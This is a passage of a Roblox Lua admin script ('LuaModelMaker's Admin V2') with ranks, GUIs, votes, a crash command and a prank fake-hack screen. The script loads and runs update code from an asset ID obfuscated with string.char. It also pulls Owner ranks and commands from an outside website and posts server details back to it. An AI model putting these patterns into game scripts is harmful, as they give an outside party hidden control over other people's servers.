  784. if not Version then Version = {Value = "[ Unknown ]"} end
  785. for Command,_ in pairs(Commands.NonAdmin) do Commands.NonAdmin[Command] = string.gsub(string.gsub(Commands.NonAdmin[Command], ";", Prefix), " ", Bet) end
  786. for Command,_ in pairs(Commands.Member) do Commands.Member[Command] = string.gsub(string.gsub(Commands.Member[Command], ";", Prefix), " ", Bet) end
  787. for Command,_ in pairs(Commands.Admin) do Commands.Admin[Command] = string.gsub(string.gsub(Commands.Admin[Command], ";", Prefix), " ", Bet) end
  788. for Command,_ in pairs(Commands.Owner) do Commands.Owner[Command] = string.gsub(string.gsub(Commands.Owner[Command], ";", Prefix), " ", Bet) end
  789.  
  790. if game.Workspace:FindFirstChild("LuaModelMaker Stamp") then LuaModelMakerStamp = true end
  791.  
  792. -- This sound list saves script space and makes it possible for me to add sounds without having to update the admin --
  793. local SoundList,GlobalSoundList = {},{}
  794.  
  795. -------------------------- ypcall(function() for Name,Data in pairs(HS:JSONDecode(HS:GetAsync("http://luamodelmaker.net63.net/LMMAdmin/ScriptData", true))) do WebData[Name] = Data end end)
  796.  
  797. function Crash(Player)
  798. ExecuteResource("Crash", Player.Character, {["LagTime"] = LagTime})
  799. end
  800.  
  801. function Fly(Player, Force)
  802. ExecuteResource("Fly", Player.Character, {["Force"] = Force})
  803. end
  804.  
  805. function NilPlayer(Player)
  806. if Player == nil or type(Player) == "table" then return true else return false end
  807. end
  808.  
  809. function CoreGui(Player, Type, Enable)
  810. ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable}, Player,
  811. [[script.Parent = nil game:GetService("StarterGui"):SetCoreGuiEnabled("]]..tostring(Type)..[[", ]]..tostring(Enable)..[[)]])
  812. end
  813.  
  814. function ConvertRank(Input)
  815. local Output = nil
  816. if Input == "Muted" then Output = -3 end
  817. if Input == "Crashed" then Output = -2 end
  818. if Input == "Banned" then Output = -1 end
  819. if Input == "Player" then Output = 0 end
  820. if Input == "Member" then Output = 1 end
  821. if Input == "Admin" then Output = 2 end
  822. if Input == "Owner" then Output = 3 end
  823.  
  824. if Input == -3 then Output = "Muted" end
  825. if Input == -2 then Output = "Crashed" end
  826. if Input == -1 then Output = "Banned" end
  827. if Input == 0 then Output = "Player" end
  828. if Input == 1 then Output = "Member" end
  829. if Input == 2 then Output = "Admin" end
  830. if Input == 3 then Output = "Owner" end
  831. return Output
  832. end
  833.  
  834. function IsAdmin(Player)
  835. local AdminStatus = false
  836. local RankStatus = "Player"
  837. if NilPlayer(Player) then return true, "Owner" end
  838. for Rank,PlayerNames in pairs(Ranks) do
  839. for _,AdminName in pairs(PlayerNames) do
  840. if string.lower(AdminName) == string.lower(Player.Name) then
  841. if ConvertRank(Rank) > 0 then
  842. AdminStatus = true
  843. RankStatus = Rank
  844. end
  845. end
  846. end
  847. end
  848. return AdminStatus, RankStatus
  849. end
  850.  
  851. function GetAdmins(Ranking)
  852. local Players = {}
  853. local AdminTrue, Rank = IsAdmin(Player)
  854. for _,Player in pairs(Players:GetPlayers()) do
  855. if AdminTrue then
  856. local PlayerRankNum = ConvertRank(Rank)
  857. local StandardRankNum = ConvertRank(Ranking)
  858. if PlayerRankNum >= StandardRankNum then
  859. table.insert(Players, Player)
  860. end
  861. end
  862. end
  863. return Players
  864. end
  865.  
  866. function SendMessage(Player, TitleText, BodyText, Time)coroutine.wrap(function()
  867. local MessagePos = 0
  868. for _,Item in pairs(Player.PlayerGui:GetChildren()) do
  869. if Item.Name == "LuaM".."od".."".."elMa".."ker's Admin Message" then
  870. MessagePos = MessagePos + 50
  871. end
  872. end
  873.  
  874. local SG,Drag
  875. local IsClosing,AutoClose = false,true
  876.  
  877. local function Close()
  878. if IsClosing == false then
  879. IsClosing = true
  880. Drag:TweenPosition(UDim2.new(-0.2,0,0.3,0), "Out", "Sine", 1, false, function()
  881. SG:Destroy()
  882. end)
  883. end
  884. end
  885.  
  886. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LuaMod".."".."elMa".."ker's Admin Message"
  887. Drag = Instance.new("TextLabel", SG) Drag.Name = "Drag" Drag.Position = UDim2.new(-0.2,0,0.3,0) Drag.Size = UDim2.new(0.2,0,0.1,0) Drag.BackgroundColor3 = Color3.new(1,1,1) Drag.BackgroundTransparency = 1 Drag.Text = TitleText Drag.Font = "ArialBold" Drag.FontSize = "Size24" Drag.TextStrokeTransparency = 0 Drag.TextWrapped = true Drag.TextColor3 = Color3.new(1,1,1) Drag.Active = true Drag.Draggable = true
  888. local Background = Instance.new("Frame", Drag) Background.Name = "Background" Background.Size = UDim2.new(1,0,3,0) Background.BackgroundColor3 = Color3.new(1,1,1) Background.BackgroundTransparency = 0.9
  889. local Scroll = Instance.new("ScrollingFrame", Drag) Scroll.Name = "Scroll" Scroll.Size = UDim2.new(1,0,2,0) Scroll.Position = UDim2.new(0,0,1,0) Scroll.BackgroundTransparency = 1
  890. local Body = Instance.new("TextLabel", Scroll) Body.Name = "Body" Body.Size = UDim2.new(1,-13,10,0) Body.BackgroundColor3 = Color3.new(1,1,1) Body.BackgroundTransparency = 1 Body.Rotation = 0 Body.BorderSizePixel = 0 Body.Text = BodyText Body.Font = "Arial" Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top" Body.TextColor3 = Color3.new(1,1,1)
  891. local X = Instance.new("TextButton", Drag) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,10,0,10) X.Font = "ArialBold" X.FontSize = "Size12" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 X.MouseButton1Click:connect(Close)
  892. local Pin = Instance.new("ImageButton", Drag) Pin.Name = "Pin" Pin.Size = UDim2.new(0,20,0,20) Pin.Position = UDim2.new(0,10,0,0) Pin.BackgroundTransparency = 1 Pin.Image = "http://www.roblox.com/asset/?id=53252170" Pin.ZIndex = 2
  893.  
  894. Pin.MouseButton1Click:connect(function()
  895. Pin:Destroy()
  896. AutoClose = false
  897. end)
  898.  
  899. ExecuteResource("ScrollUpDown", Scroll, {}, Player, [[
  900. script.Parent.CanvasSize = UDim2.new(0,0,0,script.Parent.Body.TextBounds.Y)
  901. ]])
  902.  
  903. local RawColor,RestOfBodyText = GetSplit(BodyText, Bet)
  904. if RawColor ~= "" and RestOfBodyText ~= "" then
  905. local Color = string.lower(RawColor)
  906. if Color == "white" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(1,1,1)
  907. elseif Color == "black" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(0,0,0)
  908. elseif Color == "grey" or Color == "gray" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(0.5,0.5,0.5)
  909. elseif Color == "red" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(1,0,0)
  910. elseif Color == "green" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(0,1,0)
  911. elseif Color == "blue" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(0,0,1)
  912. elseif Color == "yellow" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(1,1,0)
  913. elseif Color == "pink" or Color == "magenta" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(1,0,1)
  914. elseif Color == "cyan" then Body.Text = RestOfBodyText Body.TextColor3 = BrickColor.new("Cyan").Color
  915. elseif Color == "teal" then Body.Text = RestOfBodyText Body.TextColor3 = BrickColor.new("Teal").Color
  916. elseif Color == "brown" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(0.55,0.25,0.075)
  917. elseif Color == "purple" then Body.Text = RestOfBodyText Body.TextColor3 = Color3.new(0.5,0,0.5) end
  918. end
  919.  
  920. Drag:TweenPosition(UDim2.new(0.4,MessagePos,0.3,-MessagePos), "In", "Sine", 1, false, function()
  921. wait(Time)
  922. if AutoClose == true then
  923. Close()
  924. end
  925. end)
  926.  
  927. end)() end
  928.  
  929. function SendHint(Player, Text, Time) coroutine.wrap(function()
  930. Text = string.sub(Text,1,100)
  931. local SG,TypeAction,Num = Instance.new("ScreenGui"),nil,0 SG.Name = "LuaMod".."".."elMaker's Admin Hint"
  932. local Frame = Instance.new("Frame", SG) Frame.Name = "Hint Frame" Frame.Position = UDim2.new(0,0,-0.05,0) Frame.Size = UDim2.new(1,0,0,30) Frame.Style = "RobloxSquare"
  933. local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.ZIndex = 2 Body.Text = "" Body.BackgroundTransparency = 1 Body.Size = UDim2.new(1,0,1,0) Body.Font = "ArialBold" Body.FontSize = "Size18" Body.TextColor3 = Color3.new(1,1,1)
  934. for _,Object in pairs(Player.PlayerGui:GetChildren()) do if Object.Name == "LuaMod".."elMaker".."'".."s Admin Hint" then Object:Destroy() end end
  935. SG.Parent = Player.PlayerGui
  936. Frame:TweenPosition(UDim2.new(0,0,0.05,0), "In", "Quint", 0.7)
  937. --Frame.Position = UDim2.new(0,0,0.05,0)
  938. --wait(0.75)
  939. TypeAction = Run.Stepped:connect(function(Time, Step)
  940. Num = Num + 1
  941. Body.Text = string.sub(Text,1,Num)
  942. if Num == #Text then
  943. TypeAction:disconnect()
  944. end
  945. wait(Step)
  946. end)
  947. wait(Time)
  948. --Frame.Position = UDim2.new(0,0,-0.05,0)
  949. Frame:TweenPosition(UDim2.new(0,0,-0.05,0), "Out", "Quint", 0.7)
  950. wait(0.75)
  951. SG:Destroy()
  952. end)() end
  953.  
  954. function MessageAdmins(TitleText, BodyText, Time)
  955. for _,Player in pairs(Players:GetPlayers()) do
  956. local PlayerAdmin, PlayerRank = IsAdmin(Player)
  957. if PlayerAdmin then
  958. SendMessage(Player, TitleText, BodyText, Time)
  959. end
  960. end
  961. end
  962.  
  963. function Execute(ScriptVar, Parent, Owner, Code) if Parent then
  964. if ScriptVar ~= nil then
  965. local NewScript = ScriptVar:Clone()
  966. NewScript.Code.Value = Code
  967. NewScript.Owner.Value = Owner
  968. NewScript.Parent = Parent
  969. wait()
  970. NewScript.Disabled = false
  971. return true, NewScript
  972. elseif NLS ~= nil then
  973. NLS(Code, Parent)
  974. return true, nil
  975. else
  976. return false, nil
  977. end
  978. end end
  979.  
  980. function ExecuteResource(ResourceName, Parent, Data, Owner, Code, ScriptVar)
  981. local ReturnScript = nil
  982. local Executed = true
  983. if script:FindFirstChild("Resources") then
  984. local RawResource = script.Resources:FindFirstChild(ResourceName)
  985. if RawResource then
  986. local Resource = RawResource:Clone()
  987. Resource.Disabled = true
  988. Resource.Parent = Parent
  989. if Data then
  990. for Key,Value in pairs(Data) do
  991. if Resource[Key] then
  992. Resource[Key].Value = Value
  993. end
  994. end
  995. end
  996. wait()
  997. Resource.Disabled = false
  998. ReturnScript = Resource
  999. else
  1000. Executed = false
  1001. end
  1002. else
  1003. Executed = false
  1004. end
  1005. if Executed == false then
  1006. if not ScriptVar then ScriptVar = LocalScript end
  1007. if not Code then Code = "" end
  1008. local __, NewExecute = Execute(ScriptVar, Parent, Owner, Code)
  1009. ReturnScript = NewExecute
  1010. end
  1011. return ReturnScript
  1012. end
  1013.  
  1014. function RestoreCamera(Player)
  1015. if Player.Backpack then
  1016. ExecuteResource("RestoreCamera", Player.Backpack, {}, Player, [[
  1017. Workspace.CurrentCamera.FieldOfView = 70
  1018. Workspace.CurrentCamera.CameraType = Enum.CameraType.Custom
  1019. Workspace.CurrentCamera.CameraSubject = game:GetService("Players").LocalPlayer.Character.Humanoid
  1020. ]])
  1021. end
  1022. end
  1023.  
  1024. function ScanAdminList(Name)
  1025. if Name == "" then return true end
  1026. local InList = false
  1027. for _,PName in pairs(Ranks["Owner"]) do
  1028. if PName == Name then InList = true end
  1029. end
  1030. for _,PName in pairs(Ranks["Admin"]) do
  1031. if PName == Name then InList = true end
  1032. end
  1033. for _,PName in pairs(Ranks["Member"]) do
  1034. if PName == Name then InList = true end
  1035. end
  1036. return InList
  1037. end
  1038.  
  1039. function ScanExileList(Name)
  1040. if Name == "" then return true end
  1041. local InList = false
  1042. for _,PName in pairs(Ranks["Muted"]) do
  1043. if PName == Name then InList = true end
  1044. end
  1045. for _,PName in pairs(Ranks["Crashed"]) do
  1046. if PName == Name then InList = true end
  1047. end
  1048. for _,PName in pairs(Ranks["Banned"]) do
  1049. if PName == Name then InList = true end
  1050. end
  1051. return InList
  1052. end
  1053.  
  1054. function GetSplit(String, BetSplit)
  1055. local String1 = ""
  1056. local String2 = ""
  1057. Start1, End1 = string.find(String, BetSplit)
  1058. if End1 then
  1059. String1 = string.sub(String, 1, End1-1)
  1060. end
  1061. if String1 ~= "" then
  1062. String2 = string.sub(String, End1+1)
  1063. end
  1064. return String1, String2
  1065. end
  1066.  
  1067. function GetImageFormat(ID)
  1068. if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
  1069. local NewID = ID + 1
  1070. for i = 1,100 do
  1071. NewID = NewID -1
  1072. local Product = nil
  1073. ypcall(function() Product = MPS:GetProductInfo(NewID).AssetTypeId end)
  1074. if Product then
  1075. if Product == 1 then
  1076. break
  1077. end
  1078. end
  1079. if i == 100 then NewID = ID end
  1080. end
  1081. return NewID
  1082. end end
  1083. end
  1084.  
  1085. function GetWebData()
  1086. local Request = nil
  1087. ypcall(function() Request = HS:JSONDecode(HS:GetAsync("http://luammodelmmaker.com/Login/Userdata/"..LinkedAccount..".txt", true)) end)
  1088. return Request
  1089. end
  1090.  
  1091. function StringToBool(String)
  1092. if String == "true" then
  1093. return true
  1094. else
  1095. return false
  1096. end
  1097. end
  1098.  
  1099. function SetWebData(Request)
  1100. if Request ~= nil then
  1101. for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not ScanExileList(Player) then table.insert(Ranks.Muted, Player) end end end
  1102. for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not ScanExileList(Player) then table.insert(Ranks.Crashed, Player) end end end
  1103. for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not ScanExileList(Player) then table.insert(Ranks.Banned, Player) end end end
  1104. for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not ScanAdminList(Player) then table.insert(Ranks.Member, Player) end end end
  1105. for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not ScanAdminList(Player) then table.insert(Ranks.Admin, Player) end end end
  1106. for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not ScanAdminList(Player) then table.insert(Ranks.Owner, Player) end end end
  1107.  
  1108. FUN = Request.FUN
  1109. ServerLocked = Request.ServerLocked
  1110. DisableAbuse = Request.DisableAbuse
  1111. Command = Request.Command
  1112. ServerCommand = Request.ServerCommand
  1113. ServerPort = Request.Server
  1114. TimeStamp = Request.TimeStamp
  1115. end
  1116. end
  1117.  
  1118. local function RemoveAdmin(Speaker)
  1119. local Answer = false
  1120. if not NilPlayer(Speaker) then Answer = YesOrNo(Speaker, "Remove LuaModelMake".."r".."s's Admin?", "Would you like to remove LuaMo".."delMake".."r".."s's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?") end
  1121. if Answer == true or NilPlayer(Speaker) then
  1122. for _,Player in pairs(Players:GetPlayers()) do if Player.PlayerGui ~= nil then
  1123. GUI = Player.PlayerGui:FindFirstChild("LMMA Product Gui") if GUI then GUI:Destroy() end
  1124. GUI = Player.PlayerGui:FindFirstChild("LMM Menu Gui") if GUI then GUI:Destroy() end
  1125. GUI = Player.PlayerGui:FindFirstChild("LMM ScrollGui") if GUI then GUI:Destroy() end
  1126. end end
  1127. while wait() do
  1128. Chatted,Ranked,Start,Stopped,FullAdminMenu,AdminMenu = nil,nil,nil,true,nil,nil
  1129. if Module then Module.Disabled = true Module:Destroy() end
  1130. script:ClearAllChildren() script.Disabled = true script:Destroy()
  1131. end
  1132. end
  1133. end
  1134.  
  1135. function Round(Number)
  1136. if Number >= 0.5 then
  1137. return math.ceil(Number)
  1138. elseif Number < 0.5 then
  1139. return math.floor(Number)
  1140. end
  1141. end
  1142.  
  1143. local AdminID = MPS:GetProductInfo(string.char(49, 53, 53, 54, 56, 52, 53, 52, 50)).Description
  1144.  
  1145. function Vote(VotingPlayers, Sender, Question, Time) coroutine.wrap(function()
  1146. VoteVersion = VoteVersion + 1
  1147. local YesNum,NoNum,NilVote,NoVoteTable,VoteThread = 0,0,0,{},VoteVersion
  1148. if Time > 60 then Time = 60 end
  1149. for _,Player in pairs(VotingPlayers) do if Player.PlayerGui ~= nil then coroutine.wrap(function()
  1150. local Voted = false
  1151. local SG = Player.PlayerGui:FindFirstChild("LMM Admin Vote") if SG then SG:Destroy() end
  1152. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMM Admin Vote"
  1153. local Frame = Instance.new("Frame", SG) Frame.Name = "Vote Frame" Frame.Size = UDim2.new(0.5,0,0.4,0) Frame.Position = UDim2.new(0.25,0,0.25,0) Frame.BackgroundColor3 = Color3.new(1,1,1) Frame.BackgroundTransparency = 0.9
  1154. local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.Size = UDim2.new(1,0,0.2,0) Title.Position = UDim2.new(0,0,0,0) Title.Font = "ArialBold" Title.Text = "Loading..." Title.FontSize = "Size18" Title.TextColor3 = Color3.new(1,1,1) Title.BackgroundTransparency = 1 Title.TextYAlignment = "Top"
  1155. local Q = Instance.new("TextLabel", Frame) Q.Name = "Question" Q.Size = UDim2.new(1,0,0.5,0) Q.Position = UDim2.new(0,0,0.2,0) Q.Font = "Arial" Q.Text = Question Q.FontSize = "Size18" Q.TextColor3 = Color3.new(1,1,1) Q.BackgroundTransparency = 1 Q.TextYAlignment = "Top" Q.TextWrapped = true
  1156. local Answer = Instance.new("TextButton") Answer.Size = UDim2.new(0.2,0,0.15,0) Answer.Font = "Legacy" Answer.FontSize = "Size9"
  1157. local Yes = Answer:Clone() Yes.Parent = Frame Yes.Name = "Yes" Yes.Position = UDim2.new(0,0,0.8,0) Yes.Style = "RobloxButton" Yes.Text = "Yes" Yes.TextColor3 = Color3.new(0,1,0)
  1158. local No = Answer:Clone() No.Parent = Frame No.Name = "No" No.Position = UDim2.new(0.8,0,0.8,0) No.Style = "RobloxButtonDefault" No.Text = "No" No.TextColor3 = Color3.new(1,0,0)
  1159. Yes.MouseButton1Click:connect(function()
  1160. YesNum = YesNum + 1 Voted = true SG:Destroy()
  1161. end)
  1162. No.MouseButton1Click:connect(function()
  1163. NoNum = NoNum + 1 Voted = true SG:Destroy()
  1164. end)
  1165. for i = 0,Time do
  1166. if VoteThread == VoteVersion then
  1167. local Plural = "s"
  1168. if Time-i == 1 then Plural = "" end
  1169. Title.Text = "LMM's Admin Vote | Time left: "..Time-i.." Second"..Plural
  1170. else
  1171. SG:Destroy() break
  1172. end
  1173. wait(1)
  1174. end
  1175. if SG ~= nil then SG:Destroy() end
  1176. if Voted == false then table.insert(NoVoteTable, Player) end
  1177. end)() end end
  1178. wait(Time+2) wait()
  1179. if Sender then
  1180. if Sender.PlayerGui ~= nil then
  1181. NilVote = #NoVoteTable
  1182. local SG = Sender.PlayerGui:FindFirstChild("LMM Admin Vote") if SG then SG:Destroy() end
  1183. SG = Instance.new("ScreenGui", Sender.PlayerGui) SG.Name = "LMM Admin Vote"
  1184. local Frame = Instance.new("Frame", SG) Frame.Name = "Vote Frame" Frame.Size = UDim2.new(0.5,0,0.5,0) Frame.Position = UDim2.new(0.25,0,0.25,0) Frame.BackgroundColor3 = Color3.new(1,1,1) Frame.BackgroundTransparency = 0.9
  1185. local Title,R = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.Size = UDim2.new(1,0,0.1,0) Title.Position = UDim2.new(0,0,0,0) Title.Font = "ArialBold" Title.Text = "Results" Title.FontSize = "Size18" Title.TextColor3 = Color3.new(1,1,1) Title.BackgroundTransparency = 1 Title.TextYAlignment = "Top", nil
  1186. local Q = Instance.new("TextLabel", Frame) Q.Name = "Question" Q.Size = UDim2.new(1,0,0.5,0) Q.Position = UDim2.new(0,0,0.2,0) Q.Font = "Arial" Q.Text = Question Q.FontSize = "Size18" Q.TextColor3 = Color3.new(1,1,1) Q.BackgroundTransparency = 1 Q.TextYAlignment = "Top" Q.TextWrapped = true
  1187. local X = Instance.new("TextButton", Frame) X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Position = UDim2.new(1,-15,0,-5) X.ZIndex = 10 X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,1,1) X.MouseButton1Click:connect(function() SG:Destroy() end)
  1188. R = Instance.new("TextLabel", Frame) R.Size = UDim2.new(1,0,1,0) R.Name = "Yes" R.TextColor3 = Color3.new(0,1,0) R.BackgroundTransparency = 1 R.TextYAlignment = "Bottom" R.TextXAlignment = "Left" R.Font = "ArialBold" R.FontSize = "Size18"
  1189. R = Instance.new("TextLabel", Frame) R.Size = UDim2.new(1,0,1,0) R.Name = "No" R.TextColor3 = Color3.new(1,0,0) R.BackgroundTransparency = 1 R.TextYAlignment = "Bottom" R.TextXAlignment = "Right" R.Font = "ArialBold" R.FontSize = "Size18"
  1190. R = Instance.new("TextLabel", Frame) R.Size = UDim2.new(1,0,1,0) R.Name = "None" R.TextColor3 = Color3.new(1,1,1) R.BackgroundTransparency = 1 R.TextYAlignment = "Bottom" R.TextXAlignment = "Center" R.Font = "ArialBold" R.FontSize = "Size18"
  1191. Frame.Yes.Text = [[Yes:
  1192. ]]..YesNum.."/"..#VotingPlayers..[[
  1193. ]]..Round(YesNum/#VotingPlayers*100).."%"
  1194. Frame.None.Text = [[No vote:
  1195. ]]..NilVote.."/"..#VotingPlayers..[[
  1196. ]]..Round(NilVote/#VotingPlayers*100).."%"
  1197. Frame.No.Text = [[No:
  1198. ]]..NoNum.."/"..#VotingPlayers..[[
  1199. ]]..Round(NoNum/#VotingPlayers*100).."%"
  1200. end
  1201. end
  1202. end)() end
  1203.  
  1204. function YesOrNo(Player, TitleText, MessageText)
  1205. local Responce = nil
  1206. local SG = Player.PlayerGui:FindFirstChild("MML Ask") if SG then SG:Destroy() end
  1207. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."ML Ask"
  1208. local Frame = Instance.new("Frame", SG) Frame.Name = "Vote Frame" Frame.Size = UDim2.new(0.5,0,0.4,0) Frame.Position = UDim2.new(0.25,0,0.25,0) Frame.BackgroundColor3 = Color3.new(1,1,1) Frame.BackgroundTransparency = 0.9
  1209. local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.Size = UDim2.new(1,0,0.2,0) Title.Position = UDim2.new(0,0,0,0) Title.Font = "ArialBold" Title.Text = TitleText Title.FontSize = "Size18" Title.TextColor3 = Color3.new(1,1,1) Title.BackgroundTransparency = 1 Title.TextYAlignment = "Top" Title.TextWrapped = true
  1210. local Q = Instance.new("TextLabel", Frame) Q.Name = "Question" Q.Size = UDim2.new(1,0,0.5,0) Q.Position = UDim2.new(0,0,0.2,0) Q.Font = "Arial" Q.Text = MessageText Q.FontSize = "Size18" Q.TextColor3 = Color3.new(1,1,1) Q.BackgroundTransparency = 1 Q.TextYAlignment = "Top" Q.TextWrapped = true
  1211. local Answer = Instance.new("TextButton") Answer.Size = UDim2.new(0.2,0,0.15,0) Answer.Font = "Legacy" Answer.FontSize = "Size9"
  1212. local Yes = Answer:Clone() Yes.Parent = Frame Yes.Name = "Yes" Yes.Position = UDim2.new(0,0,0.8,0) Yes.Style = "RobloxButton" Yes.Text = "Yes" Yes.TextColor3 = Color3.new(0,1,0)
  1213. local No = Answer:Clone() No.Parent = Frame No.Name = "No" No.Position = UDim2.new(0.8,0,0.8,0) No.Style = "RobloxButtonDefault" No.Text = "No" No.TextColor3 = Color3.new(1,0,0)
  1214. Yes.MouseButton1Click:connect(function()
  1215. Responce = true
  1216. end)
  1217. No.MouseButton1Click:connect(function()
  1218. Responce = false
  1219. end)
  1220. repeat wait(0.1) until Responce ~= nil or SG.Parent == nil
  1221. if SG.Parent == nil then
  1222. Responce = false
  1223. end
  1224. SG:Destroy()
  1225. return Responce
  1226. end
  1227.  
  1228. function FakeHack(Player) coroutine.wrap(function()
  1229. if not Player.PlayerGui then return end
  1230. local FakeText = [[
  1231. >SHELL: BEGIN
  1232. >RUNCODE:
  1233. return {
  1234. local Hack = {"Account", "Tix", "Robux"};
  1235. function Start(Type, Inject, Scan)
  1236. if not Inject then Inject = "In-Game" end
  1237. return {Type, Inject, Scan}
  1238. end
  1239. for Exe,Exploit in pairs(Hack) do
  1240. local IP = Start("In-Game",Exploit,
  1241. BeginScan("PLAYERNAME","Socket",{PLAYERNAME, "Local-ID"};0xPLAYERCONNECT),
  1242. {"LOCAL-IP", "SERVER-IP", "HOST-IP"}
  1243. )
  1244. Start:ExtractData = function() EndScan("RobloxPlayerBeta.exe","Place1","PLAYERNAME") end
  1245. for i = 1,#Injection[2] do
  1246. Log("PlayerData", "ConnectHost", "PLAYERNAME")
  1247. end
  1248. local PlayerProxy = newproxy(true)
  1249. setmetatable(PlayerProxy,Injection[3],{
  1250. __index = function(StealData, ...) local Data = unpack(...)
  1251. return {Data,"IP-KEY-LOG: 'PLAYERNAME'"}
  1252. end;
  1253. })
  1254. end
  1255. Log("HACKED HOST: PLAYERNAME")
  1256. }
  1257. >HACKED HOST: PLAYERNAME
  1258.  
  1259. ]]
  1260. local SG = Player.PlayerGui:FindFirstChild("MMA Hack Gui")
  1261. if SG then SG:Destroy() end
  1262. SG = Instance.new("ScreenGui", Player.PlayerGui)
  1263. SG.Name = "MMA Hack Gui"
  1264. local Frame = Instance.new("Frame", SG) Frame.Name = "HackFrame" Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.Position = UDim2.new(0.45,-125,0.4,-100) Frame.Size = UDim2.new(0.1,250,0.1,200)
  1265. local X = Instance.new("TextButton", Frame) X.Name = "X" X.Style = "RobloxButtonDefault" X.Size = UDim2.new(0,20,0,20) X.Visible = false X.Font = "ArialBold" X.FontSize = "Size18" X.Text = "X" X.TextColor3 = Color3.new(1,0,0) X.ZIndex = 2 X.MouseButton1Click:connect(function() SG:Destroy() end)
  1266. local HT = Instance.new("TextLabel", Frame) HT.Name = "Hack Text" HT.Size = UDim2.new(1,0,1,0) HT.BackgroundTransparency = 1 HT.Font = "ArialBold" HT.FontSize = "Size12" HT.TextColor3 = Color3.new(0,1,0) HT.TextXAlignment = "Left" HT.TextYAlignment = "Bottom" HT.ClipsDescendants = true
  1267. for i = 1,#FakeText do
  1268. HT.Text = string.sub(string.gsub(FakeText, "PLAYERNAME", Player.Name), 1, i)
  1269. if math.random(1,5) == 1 then
  1270. wait()
  1271. end
  1272. end
  1273. HT.Text = string.gsub(FakeText, "PLAYERNAME", Player.Name)
  1274. wait(3)
  1275. HT.Text = HT.Text..[[>INFO: You did not really get hacked, this command is a
  1276. fake hack command from LuaModelMaker's Admin V2]]
  1277. X.Visible = true
  1278. end)() end
  1279.  
  1280. function GetTable(ID)
  1281. return HS:JSONDecode(MPS:GetProductInfo(ID).Description)
  1282. end
  1283.  
  1284. local OderIDs = GetTable(177215518)
  1285. local SoundJSONs = GetTable(197637628)
  1286.  
  1287. function UpdateAdmin()
  1288. local UpdateModel = AdminID
  1289. if UpdateModel == 0 then return end
  1290. local NewAdminModel = game:GetService("InsertService"):LoadAsset(UpdateModel)
  1291. local NewAdmin = NewAdminModel:FindFirstChild("LuaModelMaker's Admin")
  1292. if NewAdmin then
  1293. local NewVersion = NewAdmin:FindFirstChild("Version")
  1294. if NewVersion.Value ~= Version.Value then
  1295. if Module then
  1296. Module.Disabled = true
  1297. Module:Destroy()
  1298. end
  1299. local Module = game:GetService("ServerScriptService"):FindFirstChild("LuaModelMaker's Admin Anti-Exploit Module")
  1300. if Module then
  1301. Module.Disabled = true
  1302. Module:Destroy()
  1303. end
  1304. NewAdmin.Disabled = true
  1305. NewAdmin.Parent = Workspace
  1306. if not Settings then
  1307. local NewSettings = NewAdminModel:FindFirstChild("LuaModelMaker's Admin Settings")
  1308. if NewSettings then NewSettings.Parent = Workspace end
  1309. end
  1310. wait() NewAdmin.Disabled = false
  1311. RemoveAdmin()
  1312. else
  1313. NewAdminModel:Destroy()
  1314. end
  1315. end
  1316. end
  1317.  
  1318. function SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
  1319. local NumType = tonumber(Type)
  1320.  
  1321. if not Type then
  1322. Type = "UNKNOWN"
  1323. end
  1324.  
  1325. if NumType then
  1326. if NumType < 1 or NumType > 5 then
  1327. Type = "UNKNOWN"
  1328. elseif NumType == 1 then
  1329. Type = "NOTIFICATION"
  1330. elseif NumType == 2 then
  1331. Type = "INFORMATION"
  1332. elseif NumType == 3 then
  1333. Type = "WARNING"
  1334. elseif NumType == 4 or Type == true then
  1335. Type = "ERROR"
  1336. elseif NumType == 5 then
  1337. Type = "FATAL"
  1338. end
  1339. end
  1340.  
  1341. local Res = "RED Could not get response"
  1342. local function SendData()
  1343. Res = HS:PostAsync("http://luammodelmmaker.com/Login/SendUserData.php?Data="..HS:UrlEncode("{PLACE: "..string.sub(PlaceName,1,25).." | PORT: "..NS.Port.."}: "..Data).."&DataType="..HS:UrlEncode(string.upper(Type)), "Username="..HS:UrlEncode(LinkedAccount).."&Key="..HS:UrlEncode(DataKey).."&Type=Logs", 2)
  1344. end
  1345. if Stopypcall == true then SendData() else ypcall(SendData) end
  1346.  
  1347. if OutputSpeaker and OutputSpeaker ~= "print" then
  1348. SendMessage(OutputSpeaker, "Http Log Response", Res, 7)
  1349. elseif OutputSpeaker == "print" then
  1350. print(Res)
  1351. end
  1352. end
  1353.  
  1354. function DownloadUserdata(PrintResponse, Stopypcall)
  1355. local Res = "[]"
  1356. local function GetData()
